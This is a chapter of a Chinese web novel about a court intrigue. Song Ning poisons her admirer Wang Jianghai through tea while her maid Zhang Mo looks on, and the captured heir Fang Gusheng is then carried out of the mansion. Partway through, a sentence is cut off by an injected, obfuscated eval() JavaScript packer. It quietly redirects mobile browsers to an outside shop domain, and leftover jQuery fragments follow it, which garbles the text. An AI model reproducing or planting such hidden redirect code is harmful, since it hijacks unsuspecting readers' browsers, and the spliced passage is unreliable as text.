看见面前的灰头土脸的章沫,坐在榻上的宋宁毫无惊疑,面无表情道:“放开她,她是我的人。”
她微微额首,汪江海放开揪住章沫衣领的手,恼怒的脸色几番变化,阴晴不定地看着地面。
章沫只好站起身,低眉顺眼站在宋宁身侧。
她不知道宋宁此时向汪江海坦白自己的身份,到底是什么意思。
两人主仆的身份毋庸置疑,汪江海看似平静的视线凝在章沫低垂的脸上,“宁儿,你不是说你完全信任我的吗,你这是什么意思?”
经过近日的暗中观察,汪江海是知道章沫和方顾生两人之间不清不楚的关系。他们进入汪府后,就有人一直在暗中监视他们。
宋宁一直碍于方顾生方家继承人的身份,几年的相处下来,汪大人知道方少爷一直是宋宁挥之不去的心结。
几日前,两人在酒楼因为生意上的事情不欢而散。只隔了一天,一向冷脸待他的宋宁主动找到汪江海,很快不胜酒量醉倒在他的怀里,亲口说出近十年囚禁方少爷的秘密,哭诉道:“那小子竟然逃走了,他对我心有芥蒂,之后要是对外说出我的秘密,我这几年的辛辛苦苦攒下的家业就会毁于一旦。”
看着自己爱慕的女人投怀送抱,汪江海欣喜若狂,没有过多疑虑,很快大言不惭地说出:“别怕,有我在,我替你出手,不会在你手上沾上一点血。”
他说到做到,两人不谋而合,想出将他骗到汪府,再想方设法弄死他的法子。
汪江海派了一名武艺高强的男子刺杀方顾生,没想到出了意外,被毫不知情的管事一举歼灭。
宋宁知晓他的计划后,以防万一制定了另外的计划,便是设法让方顾生毒害在生辰宴上的汪江海。在吓破胆的达官显贵、富商大贾面前捉拿暗杀主人的刺客,人证物证俱在,即使方顾生方家子嗣的身份昭示天下,也无人敢质疑是汪江海是刻意为之的。
汪江海以为两人的谋划天衣无缝,可是他现在才知道章沫的身份。
宋宁没有回答他的话,自顾自地伸手去拿面前的水杯。
章沫一眼认出她手边的茶壶,偏头看了一眼,屋子中间圆桌上的茶壶不见踪影,她震惊地收回偷觑的视线——她下毒的茶壶果然是宋宁旁边的那个。
这回不是她心慈手软,这药宋宁绝对不能喝下去。
宋宁坦然自若地坐在这里,应当是还没有沾上一点药。
她修长的手指摩挲着水杯边缘,长眉微微上扬,看向脸色黑沉的汪江海,“怎么,生气了?”
她明知故问,这回倒是汪江海撇过脸去不说话了。
宋宁放在水杯上的手收回去,起身走近汪大人,手扶着他紧绷的侧脸,低声在他耳侧说了句什么。
一往情深的汪大人沉闷的脸上多了几分淡淡的薄红,嘴角冷硬的弧度顿时柔和下来。
章沫一直提心吊胆,没想到宋宁一句话轻松化解了危机,果然恋爱脑的人,不管男的女的,脑子都是空空如也。
宋宁坐回原位,擒着一丝势在必得的笑意,眼看就要伸手去拿一臂距离的茶杯。章沫突然站出来道:“夫人,那茶凉了,喝了不好,还是回去喝热的吧。”
她上去夺走宋宁手里的茶杯,谨小慎微的样子引起宋宁的注意,而宋宁并没有多问,顺着她的话说道:“也罢,这几日确实不能喝凉的。”
章沫低头看去,两人视线在空中交汇片刻,宋宁多看了那茶杯两眼,立即明白她的意思,面无表情收敛起眼底的躁动的心思。
章沫心中一怔,她了解此人平时的诡计多端,绝对不会放过此次轻而易举的机会。
这府邸本来就有一位四处逃遁的刺客,此时闹的满堂皆知,即使汪大人不幸出事,方顾生头上就会多了一个强按上去刺杀官员的名头。
“过来。”宋宁笑道,向痴痴看着她的汪江海招手。
她伸手一勾,汪江海忘乎所以地被勾了魂,急不可耐走了过去,顺着她拉住自己手臂的手,紧紧挨着坐下。
章沫眼睁睁看着两人如胶似漆的黏糊在一起,更加紧张,两只手无意识地攥紧衣角。
有外人在旁围观,宋宁也没有一丝不自在,温香软玉的手环住汪大人的脖子,头轻轻靠在他的肩膀上,“你说我们什么时候能喝上交杯酒。”
“什么……”汪大人此时就是只烹饪过度的螃蟹,满脸通红,仅有的理智都飞到两人洞房花烛夜里去了。
章沫恨铁不成钢,还想这家伙能不能控制的住,不要着了她的套。
可怜命不久矣的汪大人还不知道自己的死期就要到了,还沉浸在两人的温柔乡里,紧张又期待地紧紧握住宋宁的手,激动的话都说不出来,磕磕绊绊了半天,抖不出一个字。
宋宁道:“要不就现在吧。”
汪大人难以抑制地凑过去,“好啊……”
宋宁眉眼一抬,章沫只能装作有眼色地拿来她没喝的茶水给她。宋宁亲手将微苦的茶水喂给汪大人,蛊惑道:“乖,你先喝了,从今往后我们就是夫妻了。”
没有任何犹豫,汪江海顺着她抬起的手,将半杯茶水一饮而尽。
章沫听天由命地站在原地,听见可怜的汪大人对她命令道:“你先出去,我要和娘子入洞房。”
他急不可耐地脱去外衣,扑倒满含笑意的宋宁,欲行那颠鸾倒凤之事,可惜他此时仍旧没有看清宋宁眼里的笑意是如此的冰冷。
撕扯宋宁衣襟的汪江海没听见身后的章沫有任何动作,回头训道:“你是耳聋了吗!滚出去!”
章沫一动不动,汪江海回头满脸不耐的看她,豁然站起身,气势汹汹对着门外指道:“滚……呃……”
他剩下的话还未完全脱口,神色一凝,痛苦的捂住心脏的位置。
“怎么回事?”随着他说出的每一个字,一汩汩鲜血从嘴里涌出。
身体的剧痛让他毫无招架之力,重重跪倒在地上。
跪在地上的汪江海不堪重负摇摇欲坠,一口猩红的血喷出来,喷洒而出的鲜血溅到他面前的章沫脚边。
看着蔓延至鞋底的血流,章沫惊慌失措,连连后退几步,一不小心碰倒身后柜子上的瓷瓶,剧烈的声响让汪江海骤然收回所有的理智。
“是你,是你……”鲜红的血让他恐怖的脸更加狰狞,苍白无力的四肢趴在地上向章沫爬去。
衣衫不整的宋宁站起来,走到狼狈不堪的汪江海身边,边漫不经心地整理衣襟和凌乱的发丝。
她站到汪江海面前,轻蔑地笑道:“废物!”
汪江海彻底倒在血泊里,咽下最后一口气,看向面前的女人,双眼死不瞑目地睁大。
章沫强自冷静下来,说道:“夫人,这人现在交给我吧,这里现在不能有夫人的身影出现,接下来的事情交给我办。”
宋宁毫不吝啬地嘉奖:“这次你办的不错。”
她取下头上价值连城的碧簪扔给章沫,章沫心虚地接受。
宋宁接着道:“还有一件事情呢。”
看着她笑,章沫心中一紧。
只要宋宁阴谋诡计得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769000|209842||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
逞,她脸上就会出现这样平静而又克制的笑容。
宋宁对着门外,轻轻唤道:“进来。”
大门打开,章沫应声看过去,手中的碧簪随着她颤抖的动作掉在地上,短成两截。
门外出现的是张氏姐妹,两手拖着昏迷不醒的方顾生,两人进门后,将方顾生毫不留情地丢到地上,半张脸浸在猩红的血迹里。
章沫忘记了呼吸,张悠悠嬉皮笑脸地挽住她的脖子,“以为任务在身,我都没跟你说我们也是姐妹,现在算是正式认识了。这少爷又蠢又没用,不仅相信我们,在我姐姐手上过不了几招就趴下了。”
方顾生躺在地上毫无反应,奄奄一息。张悠悠说的话章沫一个字也没有听进去,呆滞地站在原地。
回头关房门的张青青道:“主子,他还没死,我们没有下死手。”
清清冷冷的一句话,唤回章沫的神智,努力保持清醒,主动出击道:“夫人,他还是死了比较好,少爷不死必留后患。交给我吧,他和汪大人都交给我吧。”
宋宁越过她,亲自拉开方才关闭的房门,不喜不怒地吩咐,“青青,这件事就交给你和珠儿了,对外宣称我们的汪大人被刺客刺杀,惊恐躲进房间,还是没有逃过刺客的追捕。”
张青青领命道:“是。”
张悠悠雀跃地跟着夫人离开此地,章沫不敢表现出任何怯懦悲伤,努力地平复心中的波涛。
章沫问道:“你想怎么做?”
章沫努力地笑道:“少爷就拉到后山烧掉吧,至于汪大人,他已经死了,就不要管了。”
章沫和张青青说话不多,即使在不知道她真实身份之前,也只是和她妹妹来往的多一些,对张青青的了解还止步于沉默寡言,温柔亲和。
可是,那些只是假象。
张青青一直不显山不露水地跟在她身后,沉默又谨慎,这种人才是最可怕的,刀枪不入,无所不能。
至少,方顾生当时和那两个混混交锋时,大部分都是占上风,现在反倒在看似柔弱的两个小女子手上,章沫根本就没有把握从张青青手上逃脱,她营救汪大人的周密计划也在这一刻土崩瓦解。
“走吧。”张青青拉起方顾生,一个孔武有力的大男人,她尽管有些费力,还是稳稳地扛在背上。
方顾生无力地四肢和脑袋耷拉下来,张青青扛着他走出门去。方顾生来回晃荡的脑袋险些碰到门框上,章沫伸手去慌张扶住他的头。张青青回头看她,并没有任何质疑,又沉默向外走去。
周围的下人已经被汪江海屏退下去,没有哪个不想活的敢来打扰他,两人一路走过畅通无阻,直到经过走廊时,中间站着个人。
章沫愣住,胆战心惊地看向张青青。
她面前站着的是正是恐怖如斯的管事,他一步步走向两人,寡淡的脸上没有多余的神情,他站定在张青青面前,指着一个方向,“你们从那边走吧,墙边有一辆推车,我已经打点好了,从后门出去。”
章沫震惊他也是宋宁的人,原来没有她在其中掺和,汪江海是必死无疑的,这里四面八方都是宋宁布下的陷阱,也只有男主光环庇护下,才能让他逃出生天。
几人走到推车旁边,推车上是一堆废弃的杂货和坏掉的菜叶。管事接手昏迷的方顾生,将他藏在废物堆中,最后用箩筐掩盖住他露出的手指,亲自送她们往后门的方向走。
后门无疑也是有人看守的,两人是府邸丫鬟打扮,又有管事亲自来送,没有人敢阻拦,章沫跟着推车的张青青毫无波折地出了后门。